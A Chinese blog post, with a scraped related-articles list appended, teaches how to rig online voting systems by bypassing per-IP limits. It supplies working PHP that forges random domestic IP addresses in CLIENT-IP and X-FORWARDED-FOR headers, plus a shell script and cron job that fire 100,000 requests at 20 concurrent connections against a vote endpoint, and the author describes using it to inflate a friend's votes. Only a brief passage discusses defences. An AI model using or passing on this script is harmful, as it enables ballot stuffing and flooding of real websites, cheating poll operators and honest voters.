关于投票系统刷票方式原理(突破ip限制刷票PHP版)

先说一点:其实不算是突破ip限制,因为事实上,这个限制是在服务器端的,客户端在牛逼,也突破不了..只是可以一直刷多次票罢了

一个朋友突然发了一个网站,让我帮她投投票..我这人一项比较好说话,就帮她投了.顺便分析了这个网站,发现这个网站的投票系统有ip限制,但是投票是一个ajax请求.那么办法就出来了.

很多投票PC网站都是依靠限制ip,来限制投票人数.那么我用curl伪造IP,那么就可以轻易制造多个IP进行投票.

下面贴上PHP代码:

由于对方是GET AJAX请求,我这里就贴上GET方法,POST方法请自行修改

/**

* @author 邹颢zouhao619@gmail.com

*/

$ip_long = array(

array('607649792', '608174079'), //36.56.0.0-36.63.255.255

array('1038614528', '1039007743'), //61.232.0.0-61.237.255.255

array('1783627776', '1784676351'), //106.80.0.0-106.95.255.255

array('2035023872', '2035154943'), //121.76.0.0-121.77.255.255

array('2078801920', '2079064063'), //123.232.0.0-123.235.255.255

array('-1950089216', '-1948778497'), //139.196.0.0-139.215.255.255

array('-1425539072', '-1425014785'), //171.8.0.0-171.15.255.255

array('-1236271104', '-1235419137'), //182.80.0.0-182.92.255.255

array('-770113536', '-768606209'), //210.25.0.0-210.47.255.255

array('-569376768', '-564133889'), //222.16.0.0-222.95.255.255

);

$rand_key = mt_rand(0, 9);

$ip= long2ip(mt_rand($ip_long[$rand_key][0], $ip_long[$rand_key][1]));//随机生成国内某个ip

$url='localhost/ip.php';//这里请填写投票的请求地址

$ch = curl_init($url);

$header = array(

"CLIENT-IP:{$ip}",

"X-FORWARDED-FOR:{$ip}",

);

curl_setopt($ch,CURLOPT_HTTPHEADER,$header);

curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ; // 获取数据返回

curl_exec($ch);

curl_close($ch);

前部分是随机生成国内的某个ip,然后用curl模拟请求.

由于网站限制是一个ip限制1个小时投30个票,因此,我这里就是随机的.

如果网站是限制1个ip投1个,那么最好把ip修改为顺序生成国内ip,这样可以不重复.

然后我在开启,apache ab,每次并发20个投票..很快票就刷上去了.

那么面对这样的恶意刷票有什么解决办法呢?

我没有什么好的办法防御.但是我这样的curl实际上就是webservice访问,这样的访问是不带session或者cookie的,当然,curl也可以模拟带上cookie,然后在带上phpsessionid从而来带上session.

但是对于一个未知网站而言,并不知道他的处理方式.因此,如果判断是否存在session会有效抵挡一批刷票.但是在提示的时候切勿提示是缺少session这样的文字.最好在给session一个有效时期,这样的安全度会提高(但是如果刷票者知道这样的原理,并不意味能防御住他)

补充一点:很多代码上说能够获取访问者真实的IP地址,这个我没有遇过到正确的能够获取用户真实ip的方法.如果有的话,欢迎留言

如果有什么好的防御方案,希望留言.

有时候如果超时可能会导致脚本中断,最好在配合一个crond来每分钟都执行一下脚本

脚本代码为:

#!/bin/sh

pid=`ps -ef |grep localhost/vote.php |grep vote.php | awk '{print $2}'`;

if [[ $pid == "" ]];then

echo "vote is start";

nohup /usr/bin/ab -n 100000 -c 20 http://localhost/vote.php

else

echo "vote.php is running";

fi

这个脚本就是每分钟判断这个进程存在不,存在的话,就不管,不存在的话,就启动这个进程..

另外可以不用使用nohup来后台执行

在开启crond每分钟跑起来

crontab -e

编辑crond任务

* * * * * /www/web/default/Controller/Script/vote.sh

前5个*号就是代表每个分钟都执行这个脚本..如果不详,请查阅cron资料

在开启cron

service crond start

大工告成,安心让他自动刷吧.你可以去忙别的事了

Windows系统请自行计划任务,我这里就不帖代码了

投票扣积分php系统,关于投票系统刷票形式原理(突破ip限制刷票PHP版)相关推荐

  1. 关于投票系统刷票方式原理(突破ip限制刷票PHP版)

    先说一点:其实不算是突破ip限制,因为事实上,这个限制是在服务器端的,客户端在牛逼,也突破不了..只是可以一直刷多次票罢了 一个朋友突然发了一个网站,让我帮她投投票..我这人一项比较好说话,就帮她投了 ...

  2. java 自动投票 httpclient ip_投票系统刷票方式原理(突破ip限制刷票PHP版)

    先说一点:其实不算是突破ip限制,因为事实上,这个限制是在服务器端的,客户端在牛逼,也突破不了..只是可以一直刷多次票罢了 一个朋友突然发了一个网站,让我帮她投投票..我这人一项比较好说话,就帮她投了 ...

  3. php投票ip限制的二维表,关于投票系统刷票方式原理(突破ip限制刷票PHP版)

    先说一点:其实不算是突破ip限制,因为事实上,这个限制是在服务器端的,客户端在牛逼,也突破不了..只是可以一直刷多次票罢了 一个朋友突然发了一个网站,让我帮她投投票..我这人一项比较好说话,就帮她投了 ...

  4. 在投票系统方法的原则刷票(突破ip限制刷票PHP版)

    让我谈一点:事实上,没有一个突破ip限制,因为实际上,,这项限制server结束,client牛逼,不能突破..只要是能够始终重复刷票罢了 一个朋友突然来了个网站,让我帮她投票..我是一个更好的人说话 ...

  5. mysql网络投票系统设计_分享PHP+MySQL投票系统的设计和实现

    PHP+MySQL是初学者开发的简单操作系统.PHP+MySQL系统是一个基于网络的网站投票程序.下面成都人的seo技术频道编辑介绍共享PHP+MySQL投票系统的设计与实现.让我们看看 数据库设计 ...

  6. 简易在线投票系统(php)——投票页面

    登陆后才可以进入投票页面,否则将自动回到主页.投票页面分为多选和单选两种形式.在投票完成后根据投票活动发布时设置的是否允许查看结果来确定是否自动跳转到结果页面.若不允许,会自动弹出提示框,并返回主页. ...

  7. 活动星投票乡村振兴案例网络评选投票小程序简单便捷的投票系统

    用户在使用微信投票的时候,需要功能齐全,又快捷方便的投票小程序. 而"活动星投票"这款软件使用非常的方便,用户可以随时使用手机微信小程序获得线上投票服务,很多用户都很喜欢" ...

  8. matlab用卷积积分求单自由度阻尼系统响应(零极点模型)

    %spring1.m-用卷积积分求单自由度阻尼系统的强迫振动(先求系统的零极点模型) m=1;c=4;K=100;dt=0.015;  %dt为卷积积分时的采样间隔 w0=sqrt(K/m);  %固 ...

  9. 系统架构设计师 - 系统可靠性设计

    文章目录 1 可靠性分析 故障树分析方法 失效模型及效应分析方法 2 可靠性设计原则 3 可靠性设计方法 避错设计 容错设计 恢复快设计 N版本冗余设计 冗余设计 检错设计 检错对象: 检错延时 实现 ...

最新文章

  1. C++ 之 string
  2. CSP认证201412-2 Z字形扫描[C++题解]:模拟
  3. Vue.js 组件基础
  4. 服务器麒麟系统能设置mtu吗,麒麟操作系统安装标准手册-20210405220006.docx-原创力文档...
  5. CCF CSP202012-2期末预测之最佳阈值
  6. mysql5.5.8安装图解_MySQL 5.5.8安装详细步骤-阿里云开发者社区
  7. php 计算签名,php – 计算Amazon Marketplace API的签名问题
  8. 万稞pw80线切割编程软件_常用 CNC编程软件
  9. 关于STM8L系列编程
  10. S7-200SMART PLC通过RS485接口与西门子SMART LINE系列触摸屏通信具体步骤
  11. HYSPLIT模式简介及使用
  12. 模拟银行排队叫号机 2011.04.18
  13. C语言经典例70-编写求字符串长度函数
  14. 联通路由器设置FTP服务器,做家庭储存云盘
  15. 查看linux的ubuntu版本,查看Ubuntu版本
  16. 怎么缩小图片大小kb
  17. UVA-12304 测试圆相关模板
  18. mc服务器 无限夜视,我的世界夜视指令是什么?这里告诉你无限夜视的方法
  19. linux 原路返回路由,linux – 根据服务将返回流量路由到正确的网关
  20. 基于AntV G2实现一个通用可视化Vue插件

热门文章

  1. 网络安全通信https工作原理
  2. NestJS 7.x 折腾记: (6) 异常过滤器,取其精华去其糟粕!比如响应异常数据的包装~
  3. #.数学函数3D图的绘制
  4. 毕业答辩PPT模板-精选88套
  5. 武汉理工学计算机能保研吗,欢迎访问武汉理工大学计算机科学与技术学院
  6. Android 使用svg构造交互式中国地图
  7. quartus仿真26:D触发器实现的四位移位寄存器
  8. java精讲_《Java核心技术精讲(李兴华)》PDF 下载
  9. 【指纹识别】基于模板匹配实现指纹识别门禁系统含Matlab源码
  10. 2008中国软件技术英雄会上海站流水帐